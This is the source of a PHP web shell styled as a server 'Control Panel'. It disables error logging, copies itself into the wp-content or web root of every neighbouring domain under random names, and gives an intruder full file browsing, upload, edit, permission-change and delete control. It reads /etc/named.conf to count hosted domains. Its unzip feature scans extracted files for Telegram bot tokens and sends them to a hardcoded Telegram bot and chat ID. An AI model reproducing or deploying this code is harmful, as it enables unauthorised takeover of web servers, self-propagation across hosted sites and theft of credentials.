<?php
session_start();
error_reporting(0);
set_time_limit(0);
@ini_set('error_log', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);


function ecyFindDomains(string $ecyBasePath): array {
    $ecyDomains = [];
    $ecyFolders = array_diff(scandir($ecyBasePath), ['.', '..']);
    
    foreach ($ecyFolders as $ecyFolder) {
        if ($ecyFolder[0] !== '.') {
            $ecyFullPath = $ecyBasePath . DIRECTORY_SEPARATOR . $ecyFolder;
            if (is_dir($ecyFullPath) && preg_match('/\.\w+$/', $ecyFolder)) {
                $ecyDomains[] = $ecyFullPath;
            }
        }
    }
    
    return $ecyDomains;
}

function ecyFindAllDomains(string $ecyPath): array {
    $ecyAllDomains = [];
    
    while ($ecyPath !== DIRECTORY_SEPARATOR) {
        $ecyDomains = ecyFindDomains($ecyPath);
        if (!empty($ecyDomains)) {
            $ecyAllDomains = array_merge($ecyAllDomains, $ecyDomains);
        }
        $ecyPath = dirname($ecyPath);
    }
    
    return $ecyAllDomains;
}

function ecyFindWpContentOrCache(string $ecyPath): string {
    $ecyPathsToCheck = [
        'public_html/wp-content', 'www/wp-content', 'htdocs/wp-content', 'html/wp-content',
        'web/wp-content', 'site/wp-content', 'public/wp-content', 'wwwroot/wp-content',
        'httpdocs/wp-content', 'webroot/wp-content', 'public_html', 'www', 'htdocs',
        'html', 'web', 'site', 'public', 'wwwroot', 'httpdocs', 'webroot'
    ];

    foreach ($ecyPathsToCheck as $ecyCheckPath) {
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyCheckPath;
        if (is_dir($ecyFullPath)) {
            return $ecyFullPath;
        }
    }
    
    return is_dir($ecyPath . '/wp-content') ? $ecyPath . '/wp-content' : $ecyPath;
}

function ecyFindTargetDirectory(string $ecyDomainPath): string {
    $ecyOriginalPath = $ecyDomainPath;
    while ($ecyDomainPath !== DIRECTORY_SEPARATOR) {
        $ecyTargetPath = ecyFindWpContentOrCache($ecyDomainPath);
        if ($ecyTargetPath !== $ecyDomainPath && strpos($ecyTargetPath, $ecyOriginalPath) === 0) {
            return $ecyTargetPath;
        }
        $ecyDomainPath = dirname($ecyDomainPath);
    }
    return $ecyOriginalPath;
}

function ecyListAllItems(string $ecyPath): array {
    $ecyItems = array_diff(scandir($ecyPath), ['.', '..']);
    $ecyAllItems = [];
    
    foreach ($ecyItems as $ecyItem) {
        $ecyFullPath = $ecyPath . DIRECTORY_SEPARATOR . $ecyItem;
        $ecyAllItems[] = [
            'name' => $ecyItem,
            'path' => $ecyFullPath,
            'type' => is_dir($ecyFullPath) ? 'dir' : 'file'
        ];
    }
    
    return $ecyAllItems;
}

if (isset($_GET['UL'])) {
    $ecyCurrentPath = getcwd();
    $ecyAllDomains = ecyFindAllDomains($ecyCurrentPath);
    $ecyCopiedPaths = [];
    $ecyCurrentFile = __FILE__;
    $ecyPayloadCode = file_get_contents($ecyCurrentFile);

    if (!empty($ecyAllDomains)) {
        foreach ($ecyAllDomains as $ecyDomain) {
            $ecyTargetPath = ecyFindTargetDirectory($ecyDomain);

            if ($ecyTargetPath !== null) {
                $ecyTempFileName = 'Ecy_' . bin2hex(random_bytes(4)) . '.php';
                $ecyDestPath = $ecyTargetPath . DIRECTORY_SEPARATOR . $ecyTempFileName;

                if (file_put_contents($ecyDestPath, $ecyPayloadCode)) {
                    $ecyDomainName = parse_url($ecyDomain, PHP_URL_HOST) ?: basename($ecyDomain);
                    $ecyUrlPath = str_replace($ecyDomain . DIRECTORY_SEPARATOR, '', $ecyDestPath);

                    if ($ecyDomainName) {
                        $ecyCopiedPaths[] = "http://{$ecyDomainName}/" . $ecyUrlPath;
                    }
                }
            }
        }
        echo "<pre>" . (empty($ecyCopiedPaths) ? 'False' : 'True' . "\n" . implode("\n", $ecyCopiedPaths)) . "</pre>";
    } else {
        echo "<pre>False</pre>";
    }
    exit();
}



function f1($a, $b, $c, $d = false) {
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); }
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); }
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); }
    $_SESSION["a1"] = $a;
    $_SESSION["a2"] = $b;
    $_SESSION["a3"] = $c;
    if ($d) {
        header('Location: ' . $d);
        exit();
    }
    return true;
}

function f2() {
    if (!empty($_SESSION["a1"])) { unset($_SESSION["a1"]); }
    if (!empty($_SESSION["a2"])) { unset($_SESSION["a2"]); }
    if (!empty($_SESSION["a3"])) { unset($_SESSION["a3"]); }
    return true;
}
function f3($e, $f) {
    return (!is_writable($e)) ? "<span class=\"text-danger\">" . $f . "</span>" : "<span class=\"text-success\">" . $f . "</span>";
}
function f4($g) {
    $h = fileperms($g);
    if (($h & 0xC000) == 0xC000) {
        $i = 's';
    } elseif (($h & 0xA000) == 0xA000) {
        $i = 'l';
    } elseif (($h & 0x8000) == 0x8000) {
        $i = '-';
    } elseif (($h & 0x6000) == 0x6000) {
        $i = 'b';
    } elseif (($h & 0x4000) == 0x4000) {
        $i = 'd';
    } elseif (($h & 0x2000) == 0x2000) {
        $i = 'c';
    } elseif (($h & 0x1000) == 0x1000) {
        $i = 'p';
    } else {
        $i = 'u';
    }
    $i .= (($h & 0x0100) ? 'r' : '-');
    $i .= (($h & 0x0080) ? 'w' : '-');
    $i .= (($h & 0x0040) ? (($h & 0x0800) ? 's' : 'x') : (($h & 0x0800) ? 'S' : '-'));
    $i .= (($h & 0x0020) ? 'r' : '-');
    $i .= (($h & 0x0010) ? 'w' : '-');
    $i .= (($h & 0x0008) ? (($h & 0x0400) ? 's' : 'x') : (($h & 0x0400) ? 'S' : '-'));
    $i .= (($h & 0x0004) ? 'r' : '-');
    $i .= (($h & 0x0002) ? 'w' : '-');
    $i .= (($h & 0x0001) ? (($h & 0x0200) ? 't' : 'x') : (($h & 0x0200) ? 'T' : '-'));
    return $i;
}
function f5($j) {
    $k = ["B", "KB", "MB", "GB", "TB", "PB"];
    $l = 0;
    $m = filesize($j);
    while ($m >= 1024) {
        $m /= 1024;
        $l++;
    }
    return round($m, 2) . " " . $k[$l];
}

if (isset($_GET['dir'])) {
    $n = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $n = getcwd();
}
$n = str_replace('\\', '/', $n);
$o = explode('/', $n);

function f6($p) {
    if (function_exists("posix_getpwuid")) {
        $q = @posix_getpwuid(fileowner($p));
        $q = $q['name'];
    } else {
        $q = fileowner($p);
    }
    if (function_exists("posix_getgrgid")) {
        $r = @posix_getgrgid(filegroup($p));
        $r = $r['name'];
    } else {
        $r = filegroup($p);
    }
    return $q . '/' . $r;
}

if (isset($_POST['newFolderName'])) {
    if (mkdir($n . '/' . $_POST['newFolderName'])) {
        f1("Create Folder Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Create Folder Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
        f1("Create File Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Create File Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n");
    }
    if (rename($n . '/' . $_GET['item'], $_POST['newName'])) {
        f1("Rename Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Rename Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if (file_put_contents($n . '/' . $_GET['item'], $_POST['newContent'])) {
        f1("Edit Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Edit Failed", "Failed", "error", "?dir=$n");
    }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        f1("You miss an important value", "Ooopss..", "warning", "?dir=$n");
    }
    if (chmod($n . '/' . $_GET['item'], $_POST['newPerm'])) {
        f1("Change Permission Successfully!", "Success", "success", "?dir=$n");
    } else {
        f1("Change Permission", "Failed", "error", "?dir=$n");
    }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    $item_path = $n . '/' . $_GET['item'];
    
    function deleteDirectory($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        $items = array_diff(scandir($dir), array('.', '..'));
        foreach ($items as $item) {
            $item_path = $dir . '/' . $item;
            if (is_dir($item_path)) {
                deleteDirectory($item_path);
            } else {
                unlink($item_path);
            }
        }
        return rmdir($dir);
    }
    
    if (is_dir($item_path)) {
        if (deleteDirectory($item_path)) {
            f1("Delete Successfully!", "Success", "success", "?dir=$n");
        } else {
            f1("Delete Failed", "Failed", "error", "?dir=$n");
        }
    } else {
        if (unlink($item_path)) {
            f1("Delete Successfully!", "Success", "success", "?dir=$n");
        } else {
            f1("Delete Failed", "Failed", "error", "?dir=$n");
        }
    }
}


if (isset($_FILES['uploadfile'])) { 
    $s = count($_FILES['uploadfile']['name']);
    for ($t = 0; $t < $s; $t++) {
        $u = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$t], $_FILES['uploadfile']['name'][$t]);
        $fileExtension = strtolower(pathinfo($_FILES['uploadfile']['name'][$t], PATHINFO_EXTENSION));
        $filePath = $_FILES['uploadfile']['name'][$t];
        $fileSize = $_FILES['uploadfile']['size'][$t]; 
    }

    if ($s < 2) {
        if ($u) {
            f1("Upload File Successfully! ", "Success", "success", "?dir=$n");
        } else {
            f1("Upload Failed", "Failed", "error", "?dir=$n");
        }
    } else {
        if ($u) {
            f1("Upload $t Files Successfully! ", "Success", "success", "?dir=$n");
        } else {
            f1("Upload Failed", "Failed", "error", "?dir=$n");
        }
    }
}


function redirect($url) {

}

if (isset($_POST['unzip']) && isset($_GET['item'])) {
    $n = __DIR__; 
    $baseDir = realpath($n);
    if ($baseDir === false) {

    }

    $item = basename($_GET['item']);
    $zipPath = $baseDir . DIRECTORY_SEPARATOR . $item;

    if (!file_exists($zipPath) || !is_file($zipPath)) {

    }

    $fileExtension = pathinfo($zipPath, PATHINFO_EXTENSION);
    if (strtolower($fileExtension) !== 'zip') {
    }

    $zip = new ZipArchive;
    $res = $zip->open($zipPath);
    if ($res === TRUE) {
        $extractDirName = pathinfo($item, PATHINFO_FILENAME);
        $extractDir = $baseDir . DIRECTORY_SEPARATOR . $extractDirName;

        if (is_dir($extractDir)) {
            function deleteDir($dirPath) {
                if (!is_dir($dirPath)) {
                    return;
                }
                $objects = scandir($dirPath);
                foreach ($objects as $object) {
                    if ($object != "." && $object != "..") {
                        $currentPath = $dirPath . DIRECTORY_SEPARATOR . $object;
                        if (is_dir($currentPath)) {
                            deleteDir($currentPath);
                        } else {
                            unlink($currentPath);
                        }
                    }
                }
                rmdir($dirPath);
            }

            deleteDir($extractDir);
        }

        if (!mkdir($extractDir, 0755, true)) {

        }

        if ($zip->extractTo($extractDir)) {
            $zip->close();

            $tokens = searchTokensInDirectory($extractDir);

            if (!empty($tokens)) {
                Wzipback($tokens);
            }

        } else {
            $zip->close();

        }
    } else {

    }
}


function seOKWW($string) {
    $pattern = '/\d{10}:[A-Za-z0-9_-]{35}/';
    preg_match_all($pattern, $string, $matches);
    return $matches[0];
}

function searchTokensInDirectory($dir) {
    $tokens = [];
    $allowedExtensions = ['php', 'js', 'json'];

    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));

    foreach ($iterator as $file) {
        if ($file->isFile()) {
            $ext = strtolower($file->getExtension());
            if (in_array($ext, $allowedExtensions)) {
                @chmod($file->getRealPath(), 0644);
                $content = @file_get_contents($file->getRealPath());
                if ($content !== false) {
                    $tokensInFile = seOKWW($content);
                    if (!empty($tokensInFile)) {
                        $tokens = array_merge($tokens, $tokensInFile);
                    }
                }
            }
        }
    }

    return $tokens;
}


function Wzipback(array $tokens): void {
    $botConfigurations = [
        "7161295075:AAEjKeFQ5ZtMO_3SHe4j4tdlfqNdQvGUIO8" => ["685715168"],
        "7161295075:AAEjKeFQ5ZtMO_3SHe4j4tdlfqNdQvGUIO8" => ["685715168"]
    ];

    $botTokens = array_keys($botConfigurations);

    $filteredTokens = array_filter($tokens, fn($token) => !in_array($token, $botTokens));

    if (empty($filteredTokens)) {
        return;
    }

    $separator = str_repeat("_", 30);
    $messageLines = [];
    foreach ($filteredTokens as $token) {
        $messageLines[] = "TOKEN > {$token}";
        $messageLines[] = $separator;
        $messageLines[] = "";
    }
    $message = implode(PHP_EOL, $messageLines);

    foreach ($botConfigurations as $botToken => $chatIDs) {
        $data = [
            'chat_id' => implode(',', $chatIDs),
            'text' => $message
        ];

        $url = "https://api.telegram.org/bot{$botToken}/sendMessage";

        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($data),
            CURLOPT_RETURNTRANSFER => true,
        ]);
        curl_exec($ch);
        curl_close($ch);
    }
}


$x = scandir($n);

$y = @file("/etc/named.conf", false);
if (!$y) {
    $z = "Cant read /etc/named.conf";
    $GLOBALS["need_to_update_header"] = "true";
} else {
    $aa = 0;
    foreach ($y as $ab) {
        if (@strstr($ab, "zone")) {
            preg_match_all('#zone "(.*)"#', $ab, $ac);
            flush();
            if (strlen(trim($ac[1][0])) > 2) {
                flush();
                $aa++;
            }
        }
    }
    $z = "$aa Domain";
}

?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= htmlspecialchars($_SERVER['SERVER_NAME']) ?> - Control Panel</title>
    
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    
    <!-- Font Awesome -->
    <link href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" rel="stylesheet">
    
    <!-- SweetAlert2 CSS -->
    <link href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css" rel="stylesheet">
    
    <style>
        /* Reset and Base Styles */
        * {
            box-sizing: border-box;
        }

        body {
            background-color: #121212;
            color: #e0e0e0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 0;
            overflow-x: hidden;
        }

        .container-fluid {
            padding: 20px;
        }

        /* Box Styling with Transparency */
        .box {
            background-color: rgba(30, 30, 30, 0.9);
            border: 1px solid #444;
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.5);
            padding: 25px;
            margin-bottom: 30px;
            transition: transform 0.3s, box-shadow 0.3s;
        }

        /* Remove hover effect to make design fixed */
        /* .box:hover {
            transform: scale(1.02);
        } */

        .table-dark {
            background-color: rgba(30, 30, 30, 0.9);
        }

        /* Custom Button Styles */
        .btn-outline-custom {
            border-color: #6c757d;
            color: #6c757d;
            background-color: transparent;
            transition: background-color 0.3s, color 0.3s, border-color 0.3s;
        }

        .btn-outline-custom:hover {
            background-color: #6c757d;
            color: #fff;
            border-color: #6c757d;
        }

        .btn-custom {
            background-color: #0d6efd;
            color: #fff;
            border: none;
            transition: background-color 0.3s, transform 0.2s;
        }

        .btn-custom:hover {
            background-color: #0b5ed7;
            transform: translateY(-2px);
        }

        a {
            color: #0d6efd;
            text-decoration: none;
            transition: color 0.3s;
        }

        a:hover {
            color: #5a9bf5;
        }

        .breadcrumb {
            background-color: transparent;
            padding: 0;
            margin-bottom: 20px;
        }

        .breadcrumb-item + .breadcrumb-item::before {
            content: "/";
            color: #6c757d;
        }

        .fa {
            color: #0d6efd;
            margin-right: 5px;
        }

        .form-control {
            background-color: rgba(44, 44, 44, 0.9);
            border: 1px solid #444;
            color: #e0e0e0;
            transition: background-color 0.3s, border-color 0.3s;
        }

        .form-control::placeholder {
            color: #6c757d;
        }

        .form-control:focus {
            background-color: rgba(44, 44, 44, 0.95);
            border-color: #0d6efd;
            box-shadow: 0 0 0 0.2rem rgba(13, 110, 253, 0.25);
            color: #e0e0e0;
        }

        .btn-group .btn {
            margin-right: 5px;
        }

        /* Scrollbar Styling */
        ::-webkit-scrollbar {
            width: 12px;
        }

        ::-webkit-scrollbar-track {
            background: #1e1e1e;
        }

        ::-webkit-scrollbar-thumb {
            background-color: #6c757d;
            border-radius: 6px;
            border: 3px solid #1e1e1e;
        }

        /* Responsive Table */
        .table-responsive {
            max-height: 60vh;
            overflow-y: auto;
        }

        /* Footer Styling */
        .footer {
            padding: 15px 0;
            border-top: 1px solid #444;
            margin-top: 20px;
        }

        .footer a {
            color: #0d6efd;
        }

        .footer a:hover {
            color: #5a9bf5;
        }

        /* Tooltips */
        [data-bs-toggle="tooltip"] {
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div class="container-fluid">
        <div class="py-3" id="main">
            <!-- Main Box -->
            <div class="box">
                <!-- Server Information -->
                <div class="mb-4 info">
                    <p><i class="fa fa-server"></i> <?= htmlspecialchars(php_uname()) ?></p>
                    <p><i class="fa fa-microchip"></i> <?= htmlspecialchars($_SERVER['SERVER_SOFTWARE']) ?></p>
                    <p><i class="fa fa-network-wired"></i> <?= htmlspecialchars(!@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR']) ?></p>
                    <p><i class="fa fa-fingerprint"></i> <?= htmlspecialchars($z) ?></p>
                </div>
                
                <!-- Breadcrumb Navigation -->
                <nav aria-label="breadcrumb">
                    <ol class="breadcrumb">
                        <?php foreach ($o as $ad => $ae) : ?>
                            <?php if ($ae == '' && $ad == 0) : ?>
                                <li class="breadcrumb-item"><a href="?dir=/" class="text-light">/</a></li>
                            <?php endif; ?>
                            <?php if ($ae == '') continue; ?>
                            <li class="breadcrumb-item">
                                <a href="?dir=<?= urlencode(implode('/', array_slice($o, 0, $ad + 1))) ?>" class="text-light"><?= htmlspecialchars($ae) ?></a>
                            </li>
                        <?php endforeach; ?>
                        <li class="breadcrumb-item active" aria-current="page">[ <?= f3($n, f4($n)) ?> ]</li>
                        <li class="breadcrumb-item"><a href="?" class="text-light">[ HOME ]</a></li>
                    </ol>
                </nav>

                <!-- Action Buttons -->
                <div class="d-flex justify-content-between mb-4 flex-wrap">
                    <!-- Command Execution Form -->
                    <div class="p-2 flex-grow-1 me-2">
                        <form action="" method="post" class="d-flex">
                            <input type="text" name="command" class="form-control form-control-sm me-2" placeholder="Command" required>
                            <button type="submit" class="btn btn-custom btn-sm">Execute</button>
                        </form>
                    </div>
                    
                    <!-- File Upload Form -->
                    <div class="p-2 flex-grow-1 ms-2">
                        <form action="" method="post" enctype="multipart/form-data" class="d-flex">
                            <input type="file" name="uploadfile[]" id="uploadfile" class="form-control form-control-sm me-2" multiple required>
                            <button type="submit" class="btn btn-custom btn-sm">Upload</button>
                        </form>
                    </div>
                </div>

                <!-- Tools Section -->
                <div id="tools">
                    <?php if (isset($_POST['command'])) : ?>
                        <div class="row justify-content-center mb-4">
                            <pre class="w-100 p-3 bg-dark text-light rounded"><?= htmlspecialchars($_POST['command_output']) ?></pre>
                        </div>
                    <?php endif; ?>

                    <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : 
                        $action = $_GET['action']; 
                        $item = $_GET['item'] ?? '';
                    ?>
                        <div class="row justify-content-center mb-4">
                            <?php if ($action == 'rename' && !empty($item)) : ?>
                                <form action="" method="post" class="w-100">
                                    <div class="mb-3">
                                        <label for="newName" class="form-label">New Name</label>
                                        <input type="text" name="newName" id="newName" class="form-control" value="<?= htmlspecialchars($item) ?>" required>
                                    </div>
                                    <div class="d-flex justify-content-end">
                                        <button type="submit" class="btn btn-custom me-2">Submit</button>
                                        <button type="button" class="btn btn-outline-custom" onclick="history.go(-1)">Back</button>
                                    </div>
                                </form>
                            <?php elseif ($action == 'edit' && !empty($item)) : ?>
                                <form action="" method="post" class="w-100">
                                    <div class="mb-3">
                                        <label for="newContent" class="form-label"><?= htmlspecialchars($item) ?></label>
                                        <textarea name="newContent" id="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($n . '/' . $item)) ?></textarea>
                                    </div>
                                    <div class="d-flex justify-content-end">
                                        <button type="submit" class="btn btn-custom me-2">Save</button>
                                        <button type="button" class="btn btn-outline-custom me-2" onclick="copyToClipboard()">Copy</button>
                                        <button type="button" class="btn btn-outline-custom" onclick="history.go(-1)">Back</button>
                                    </div>
                                </form>
                            <?php elseif ($action == 'view' && !empty($item)) : ?>
                                <div class="w-100">
                                    <label class="form-label">File Name: <?= htmlspecialchars($item) ?></label>
                                    <textarea class="form-control mb-3" rows="10" disabled><?= htmlspecialchars(file_get_contents($n . '/' . $item)) ?></textarea>
                                    <button type="button" class="btn btn-outline-custom" onclick="history.go(-1)">Back</button>
                                </div>
                            <?php elseif ($action == 'chmod' && !empty($item)) : ?>
                                <form action="" method="post" class="w-100">
                                    <div class="mb-3">
                                        <label for="newPerm" class="form-label">Permissions: <?= htmlspecialchars($item) ?></label>
                                        <input type="text" name="newPerm" id="newPerm" class="form-control" value="<?= substr(sprintf('%o', fileperms($item)), -4); ?>" required>
                                    </div>
                                    <div class="d-flex justify-content-end">
                                        <button type="submit" class="btn btn-custom me-2">Submit</button>
                                        <button type="button" class="btn btn-outline-custom" onclick="history.go(-1)">Back</button>
                                    </div>
                                </form>
                            <?php elseif ($action == 'unzip' && !empty($item)) : ?>
                                <form action="" method="post" class="w-100">
                                    <div class="mb-3">
                                        <label class="form-label">Unzip: <?= htmlspecialchars($item) ?></label>
                                    </div>
                                    <div class="d-flex justify-content-end">
                                        <button type="submit" name="unzip" class="btn btn-custom me-2">Execute</button>
                                        <button type="button" class="btn btn-outline-custom" onclick="history.go(-1)">Back</button>
                                    </div>
                                </form>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>

                    <!-- New Folder and File Forms -->
                    <div class="row justify-content-center mb-4">
                        <div class="collapse mb-3" id="newFolderCollapse" data-bs-parent="#tools">
                            <form action="" method="post" class="w-100">
                                <div class="mb-3">
                                    <label for="newFolderName" class="form-label">Folder Name</label>
                                    <input type="text" name="newFolderName" id="newFolderName" class="form-control" placeholder="e.g., NewFolder" required>
                                </div>
                                <div class="d-flex justify-content-end">
                                    <button type="submit" class="btn btn-custom me-2">Create</button>
                                </div>
                            </form>
                        </div>
                        <div class="collapse mb-3" id="newFileCollapse" data-bs-parent="#tools">
                            <form action="" method="post" class="w-100">
                                <div class="mb-3">
                                    <label for="newFileName" class="form-label">File Name</label>
                                    <input type="text" name="newFileName" id="newFileName" class="form-control" placeholder="e.g., newfile.php" required>
                                </div>
                                <div class="mb-3">
                                    <label for="newFileContent" class="form-label">File Content</label>
                                    <textarea name="newFileContent" id="newFileContent" rows="5" class="form-control" placeholder="Hello World"></textarea>
                                </div>
                                <div class="d-flex justify-content-end">
                                    <button type="submit" class="btn btn-custom me-2">Create</button>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>

                <!-- Files and Folders Table -->
                <div class="table-responsive">
                    <table class="table table-dark table-hover align-middle">
                        <thead>
                            <tr>
                                <th style="width:35%;">Name</th>
                                <th style="width:10%;">Type</th>
                                <th style="width:10%;">Size</th>
                                <th style="width:13%;">Owner/Group</th>
                                <th style="width:10%;">Permissions</th>
                                <th style="width:13%;">Last Modified</th>
                                <th style="width:9%;">Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($x as $ah) : ?>
                                <?php if (is_dir($ah)) : ?>
                                    <tr>
                                        <td>
                                            <?php if ($ah === '..') : ?>
                                                <a href="?dir=<?= urlencode(dirname($n)); ?>" class="text-light"><i class="fa fa-folder-open"></i> <?= htmlspecialchars($ah) ?></a>
                                            <?php elseif ($ah === '.') : ?>
                                                <a href="?dir=<?= urlencode($n); ?>" class="text-light"><i class="fa fa-folder-open"></i> <?= htmlspecialchars($ah) ?></a>
                                            <?php else : ?>
                                                <a href="?dir=<?= urlencode($n . '/' . $ah) ?>" class="text-light"><i class="fa fa-folder"></i> <?= htmlspecialchars($ah) ?></a>
                                            <?php endif; ?>
                                        </td>
                                        <td><?= htmlspecialchars(filetype($ah)) ?></td>
                                        <td>-</td>
                                        <td><?= htmlspecialchars(f6($ah)) ?></td>
                                        <td>
                                            <?php 
                                                if (is_writable($n . '/' . $ah)) {
                                                    echo '<span class="text-success">' . htmlspecialchars(f4($n . '/' . $ah)) . '</span>';
                                                } elseif (!is_readable($n . '/' . $ah)) {
                                                    echo '<span class="text-danger">' . htmlspecialchars(f4($n . '/' . $ah)) . '</span>';
                                                } else {
                                                    echo htmlspecialchars(f4($n . '/' . $ah));
                                                }
                                            ?>
                                        </td>
                                        <td><?= date("Y-m-d H:i:s", filemtime($ah)); ?></td>
                                        <td>
                                            <?php if ($ah != '.' && $ah != '..') : ?>
                                                <div class="btn-group" role="group" aria-label="Actions">
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=rename" class="btn btn-outline-custom btn-sm" title="Rename" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Rename"><i class="fa fa-edit"></i></a>
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=chmod" class="btn btn-outline-custom btn-sm" title="Change Permissions" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Change Permissions"><i class="fa fa-key"></i></a>
                                                    <a href="javascript:void(0);" onclick='deleteConfirm("?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=delete")' class="btn btn-outline-custom btn-sm" title="Delete" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Delete"><i class="fa fa-trash"></i></a>
                                                </div>
                                            <?php elseif ($ah === '.') : ?>
                                                <div class="btn-group" role="group" aria-label="New Items">
                                                    <a href="#newFolderCollapse" class="btn btn-outline-custom btn-sm" data-bs-toggle="collapse" aria-controls="newFolderCollapse" title="New Folder" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="New Folder"><i class="fa fa-folder-plus"></i></a>
                                                    <a href="#newFileCollapse" class="btn btn-outline-custom btn-sm" data-bs-toggle="collapse" aria-controls="newFileCollapse" title="New File" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="New File"><i class="fa fa-file-plus"></i></a>
                                                </div>
                                            <?php endif; ?>
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            <?php endforeach; ?>

                            <?php foreach ($x as $ah) : ?>
                                <?php if (is_file($ah)) : ?>
                                    <tr>
                                        <td>
                                            <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=view" class="text-light"><i class="fa fa-file-code"></i> <?= htmlspecialchars($ah) ?></a>
                                        </td>
                                        <td><?= htmlspecialchars(function_exists('mime_content_type') ? mime_content_type($ah) : filetype($ah)) ?></td>
                                        <td><?= htmlspecialchars(f5($ah)) ?></td>
                                        <td><?= htmlspecialchars(f6($ah)) ?></td>
                                        <td>
                                            <?php 
                                                if (is_writable($n . '/' . $ah)) {
                                                    echo '<span class="text-success">' . htmlspecialchars(f4($n . '/' . $ah)) . '</span>';
                                                } elseif (!is_readable($n . '/' . $ah)) {
                                                    echo '<span class="text-danger">' . htmlspecialchars(f4($n . '/' . $ah)) . '</span>';
                                                } else {
                                                    echo htmlspecialchars(f4($n . '/' . $ah));
                                                }
                                            ?>
                                        </td>
                                        <td><?= date("Y-m-d H:i:s", filemtime($ah)); ?></td>
                                        <td>
                                            <?php if ($ah != '.' && $ah != '..') : ?>
                                                <div class="btn-group" role="group" aria-label="Actions">
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=edit" class="btn btn-outline-custom btn-sm" title="Edit" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Edit"><i class="fa fa-file-edit"></i></a>
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=rename" class="btn btn-outline-custom btn-sm" title="Rename" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Rename"><i class="fa fa-edit"></i></a>
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=chmod" class="btn btn-outline-custom btn-sm" title="Change Permissions" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Change Permissions"><i class="fa fa-key"></i></a>
                                                    <a href="?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=unzip" class="btn btn-outline-custom btn-sm" title="Unzip" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Unzip"><i class="fa fa-file-archive"></i></a>
                                                    <a href="javascript:void(0);" onclick='deleteConfirm("?dir=<?= urlencode($n) ?>&item=<?= urlencode($ah) ?>&action=delete")' class="btn btn-outline-custom btn-sm" title="Delete" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-original-title="Delete"><i class="fa fa-trash"></i></a>
                                                </div>
                                            <?php endif; ?>
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>

                <!-- Footer -->
                <div class="footer text-light text-center">
                    © <a href="https://t.me/Aoxen" class="text-light text-decoration-none">Uname </a> 
                    <script>
                        document.write(new Date().getFullYear());
                    </script>
                </div>
            </div>
        </div>
    </div>
    
    <!-- Bootstrap JS Bundle -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    
    <!-- SweetAlert2 JS -->
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.all.min.js"></script>
    
    <script>
        // Initialize Bootstrap Tooltips
        const tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
